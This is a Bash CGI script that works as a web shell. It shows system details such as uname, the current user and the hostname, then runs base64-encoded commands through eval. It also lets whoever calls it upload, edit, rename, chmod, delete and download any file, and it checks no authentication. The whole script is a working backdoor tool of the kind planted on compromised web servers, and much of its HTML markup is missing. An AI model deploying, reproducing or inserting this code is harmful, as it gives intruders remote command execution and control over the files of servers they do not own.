#!/bin/bash # Read POST data #initialize global variables in_raw="$(dd bs=1 count=$CONTENT_LENGTH)" query=$(echo -n "$QUERY_STRING") # Functions for URL encoding and decoding urlencode() { local string="$1" local length="${#string}" local encoded="" for (( i = 0; i < length; i++ )); do local char="${string:i:1}" case "$char" in [a-zA-Z0-9.~_-]) encoded+="$char" ;; *) encoded+=$(printf '%%%02X' "'$char") ;; esac done echo -n "$encoded" } urldecode() { local url_encoded="$1" echo -n -e "$(echo "$url_encoded" | sed 's/%/\\x/g')" } createDirectoryLinks() { local directory="$1" local sections=(${directory//\// }) local currentPath="" local links="" for section in "${sections[@]}"; do if [ -n "$section" ]; then currentPath+="/$section" links+=" / $section" fi done echo "$links" } # Extract values from POST data get_post_value() { local key="$1" local value # Check if the key is in the query string value=$(echo -n "$query" |awk -vRS='\\?|&' -vFS="=" -vkey="$key" '$1==key{print $2}') if [ -z "$value" ]; then value=$(echo -n "$in_raw" | awk -vRS="\r\n|\n" -vkey=$key 'NR==1{boundary=$0} $0 ~ key{start_reading=1;getline;next;} start_reading==1 { if($0 !~ boundary) { if(value !=""){value=value"\n"} value=value""$0 }else{ print value exit } }') fi echo -n "$value" } method=$(get_post_value "method") if [ -z "$method" ];then method="post" fi current_dir=$(get_post_value "current_dir") if [ -n "$current_dir" ];then current_dir=$(echo -n "$current_dir"|base64 -d) fi if [ -z "$current_dir" ]; then current_dir=$(pwd) fi #switch to the current working directory specified by user cd "$current_dir" # Function to display HTML header html_header() { echo "Content-type: text/html" echo "" echo "" echo "" echo "" echo " " echo "" echo "" echo "" echo "
" unama=$(uname -a) echo "Uname -a: $unama
" echo "User: "$(whoami)"
" echo "Hostname: "$(hostname)"

" echo "

Command Execution

" echo "
" echo "" echo "" echo "
" echo "

" echo "" echo "" echo "" echo "

" echo "
" echo "" echo " " echo "
" echo "
0%
" echo "
" } # Function to display HTML footer html_footer() { echo "" echo "
" echo "" echo "" } # Function to handle file uploads handle_upload() { local boundary boundary=$(echo "$CONTENT_TYPE" | grep -oP '(?<=boundary=).+') # Extract file data from POST input local file_data file_data=$(get_post_value "file_encode") # Extract filename local filename filename=$(get_post_value "file_encode_name") # Check if filename is not empty if [[ -n "$filename" ]]; then # Extract file content and write it to the current directory local file_content #file_content=$(echo "$file_data" | sed -n '/Content-Type/,$p' | sed '1d' | sed '1d' | sed '$d') base64 -d <<< "$file_data" > "./$filename" if [[ -f "./$filename" ]]; then echo "

File '$filename' uploaded successfully.

" else echo "

Failed to upload file '$filename'.

" fi else #command mode execute command command=$(get_post_value "command"|base64 -d) echo "Cmd: [$command]
" if [ -n "$command" ]; then echo "Output: " echo "
"
            eval "$command"
            echo "
" fi fi } # Function to handle stream upload handle_stream_upload() { local filename=$(get_post_value "filename" | base64 -d) local chunk_number=$(get_post_value "chunk_number" | base64 -d) local total_chunks=$(get_post_value "total_chunks" | base64 -d) # Create a temporary file to store the chunk local temp_file="${filename}.part${chunk_number}" # Write the chunk to the temporary file get_post_value "chunk_data" | base64 -d > $temp_file # Check if all chunks have been uploaded if [[ "$chunk_number" -eq "$total_chunks" ]]; then # Combine all chunks into the final file cat "${filename}.part"* > "$filename" # Clean up temporary files rm -f "${filename}.part"* echo "File '$filename' uploaded successfully." else echo "Chunk $chunk_number of $total_chunks uploaded successfully." exit 0 fi } sorted_dir_contents() { output=$(ls -liah|sed '1d') second_line=$(echo "$output"|head -1) third_line=$(echo "$output"|sed -n '2p;3q') directories=$(echo "$output" | awk ' NR > 2 { type = substr($2, 1, 1) if (type == "d") { print $0 } } ' | sort -k10) files=$(echo "$output" | awk ' NR > 2 { type = substr($2, 1, 1) if (type == "-") { print $0 } } ' | sort -k10) # Print the second and third lines first echo "$second_line" echo "$third_line" # Print sorted directories if [ -n "$directories" ]; then echo "$directories" fi # Print sorted files if [ -n "$files" ]; then echo "$files" fi } # Function to list directory contents list_directory() { local page=${1:-1} local items_per_page=20 local start=$(( (page - 1) * items_per_page + 1 )) local end=$(( start + items_per_page - 1 )) local dir_contents dir_contents=$(sorted_dir_contents) echo "
" echo "" echo "" echo "" echo "" echo "
" echo "

Contents of "$(createDirectoryLinks $current_dir)": [Home Dir]

"; echo "" echo "" local count=0 echo "$dir_contents" | while read -r line; do ((count++)) if [[ $count -lt $start || $count -gt $end ]]; then continue fi local permissions local owner local group local size local modified local filename permissions=$(echo "$line" | awk '{print $2}') permissions="${permissions%\.}" owner=$(echo "$line" | awk '{print $4}') group=$(echo "$line" | awk '{print $5}') size=$(echo "$line" | awk '{print $6}') modified=$(echo "$line" | awk '{print $7 " " $8 " " $9}') filename=$(echo "$line" | awk '{ for (i=10; i<=NF; i++) printf "%s ", $i}') filename=${filename%% } echo "" echo "" if [ "${permissions:0:1}" = "d" ]; then # this is a directory if [ "$filename" = "." ] || [ "$filename" = ".." ]; then echo "" else directory_name="$current_dir/$filename" echo "" fi else #this is a file echo "" fi echo "" echo "" echo "" echo "" echo "" echo "" echo "" done echo "
#FilenamePermissionsOwnerGroupSizeModifiedActions
$count$filename[ $filename ]$filename$permissions$owner$group$size$modified" if [ "$filename" = "." ] || [ "$filename" = ".." ]; then echo " " else if [ "${permissions:0:1}" != "d" ]; then # this is a file echo "Edit | " fi echo "Rename | " echo "Chmod | " echo "Download | " echo "Delete " fi echo "
" } # Pagination logic pagination() { local current_page=${1:-1} local total_items=$(ls -l | wc -l) local items_per_page=20 local less_one=$(($items_per_page - 1)) local total_pages=$(( (total_items + items_per_page - 1) / items_per_page )) local start_page=$(( ((current_page - 1) / items_per_page) * items_per_page + 1 )) local end_page=$(( start_page + less_one )) echo "" } # Function to display form for editing file edit_form() { local file=$(get_post_value "file"|base64 -d) echo "

Edit File: $file

" echo "
" echo "" echo "" echo "" echo "" echo "
" echo "" echo "
" echo "" } # Function to display form for renaming file rename_form() { local file=$(get_post_value "file"|base64 -d) echo "

Rename File: $file

" echo "
" echo "" echo "" echo "" echo "" echo "
" echo "" echo "
" } # Function to display form for changing file permissions chmod_form() { local file=$(get_post_value "file"|base64 -d) echo "

Change Permissions for: $file

" echo "
" echo "" echo "" echo "" echo "" echo "
" echo "" echo "
" } # Function to edit a file edit_file() { local file=$(get_post_value "file"|base64 -d) local content="$(get_post_value "content"|base64 -d)" if [[ -n "$file" && -n "$content" ]]; then echo "$content" > "$file" echo "

File '$file' edited successfully.

" else edit_form fi } # Function to rename a file rename_file() { local file=$(get_post_value "file"|base64 -d) local new_name=$(get_post_value "new_name"|base64 -d) if [[ -n "$file" && -n "$new_name" ]]; then mv "$file" "$new_name" echo "

File '$file' renamed to '$new_name' successfully.

" else rename_form fi } # Function to change file permissions chmod_file() { local file=$(get_post_value "file"|base64 -d) local permissions=$(get_post_value "permissions"|base64 -d) if [[ -n "$file" && -n "$permissions" ]]; then chmod "$permissions" "$file" echo "

Permissions for '$file' changed to '$permissions' successfully.

" else chmod_form fi } # Function to delete a file delete_file() { local file=$(get_post_value "file"|base64 -d) if [[ -n "$file" ]]; then rm -rf "$file" echo "" else echo "

Failed to delete file '$file'.

" fi } # Function to download a file download_file() { local file=$(get_post_value "file"|base64 -d) if [ -d "$file" ]; then echo -en "Content-Disposition: attachment; filename=\"$file.tar.bz2\"\r\n" echo -en "Content-Type: application/octet-stream\r\n" echo -en "Content-Transfer-Encoding: binary\r\n" echo -en "Expires: 0\r\n" echo -en "Cache-Control: must-revalidate\r\n" echo -en "Pragma: public\r\n" echo -en "\r\n" tar -cjf "$file.tar.bz2" "$file" cat "$file.tar.bz2" rm "$file.tar.bz2" elif [[ -f "$file" ]]; then echo -en "Content-Disposition: attachment; filename=\"$file\"\r\n" echo -en "Content-Type: application/octet-stream\r\n" echo -en "Content-Transfer-Encoding: binary\r\n" echo -en "Expires: 0\r\n" echo -en "Cache-Control: must-revalidate\r\n" echo -en "Pragma: public\r\n" echo -en "\r\n" cat "$file" else echo "

Failed to download file '$file'.

" fi } # Main script logic action=$(get_post_value "action") if [ "$action" != "download" ]; then html_header fi case "$action" in execute) handle_upload ;; edit) edit_file ;; rename) rename_file ;; chmod) chmod_file ;; delete) delete_file ;; download) download_file ;; stream_upload) handle_stream_upload ;; *) esac if [ "$action" != "download" ]; then current_page=$(get_post_value "page") if [[ -z "$current_page" ]]; then current_page=1 fi list_directory "$current_page" pagination "$current_page" html_footer fi